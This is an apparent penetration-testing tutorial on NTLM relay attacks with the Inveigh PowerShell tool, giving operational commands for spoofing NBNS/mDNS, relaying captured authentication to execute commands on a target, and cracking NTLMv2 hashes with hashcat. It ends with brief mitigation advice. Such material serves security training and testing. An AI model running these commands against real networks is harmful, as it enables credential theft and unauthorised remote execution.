NTLM Relay With Inveigh
With Inveigh, an attacker can perform NTLM relay attacks, enabling them to intercept and relay NTLM authentication hashes within a target network.What is NTLM?
Inveigh: NTLM Relay Attack Overview
With Inveigh, an attacker can perform NTLM relay attacks, enabling them to intercept and relay NTLM authentication hashes within a target network.
What is NTLM?
NTLM (NT LAN Manager) is a challenge-response authentication protocol used in Windows environments.
NTLM Authentication Flow:
The client initiates a connection to the server and negotiates authentication.
The server responds with a challenge, asking the client to encrypt it using a secret, a hash of its password.
The client sends the response back, and the server verifies it through a domain controller.
Problem: Legacy protocols like NBNS and mDNS (still enabled in many environments) can be exploited for man-in-the-middle (MITM) attacks to capture these NTLM hashes.
⚔️ NTLM Relay Attack Flow with Inveigh
1️⃣ Clone and Import Inveigh:
Download Inveigh from GitHub:
git clone https://github.com/Kevin-Robertson/Inveigh.git
Then import the module in PowerShell:
Import-Module .\Inveigh.ps1
2️⃣ Start the Inveigh Attack:
Launch Inveigh with desired parameters:
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <Attacker_IP>
👉 Tip: You can generate fake authentication requests via Windows Search Bar:
\\<Attacker_IP>
3️⃣ Monitor Inveigh Activity:
Use these commands to interact with the Inveigh hashtable:
Clear-Inveigh, clear collected data
Get-Inveigh, view captured data
Stop-Inveigh, stop all running modules
Watch-Inveigh, enable real-time console output
4️⃣ Execute Commands via NTLM Relay:
Run remote commands on a target system:
Invoke-InveighRelay -ConsoleOutput Y -Target <Target_IP> -Command “whoami” -Attack Enumerate,Execute,Session
5️⃣ Crack Captured NTLMv2 Hashes:
Use Hashcat to crack intercepted hashes.
NTLMv2 hash format:
administrator:::<LM_hash>:<NTLMv2_hash>:<blob>
Hashcat command example:
hashcat64.exe -m 5600 hashes\hash.txt password_list.txt -o cracked\cracked.txt
⚠️ Important Reminder
NTLM relay attacks exploit weak, legacy protocols still present in many corporate environments. Regularly auditing and disabling unnecessary services like NBNS, mDNS, and enforcing modern authentication mechanisms (like Kerberos or certificate-based authentication) is crucial for reducing attack surface.
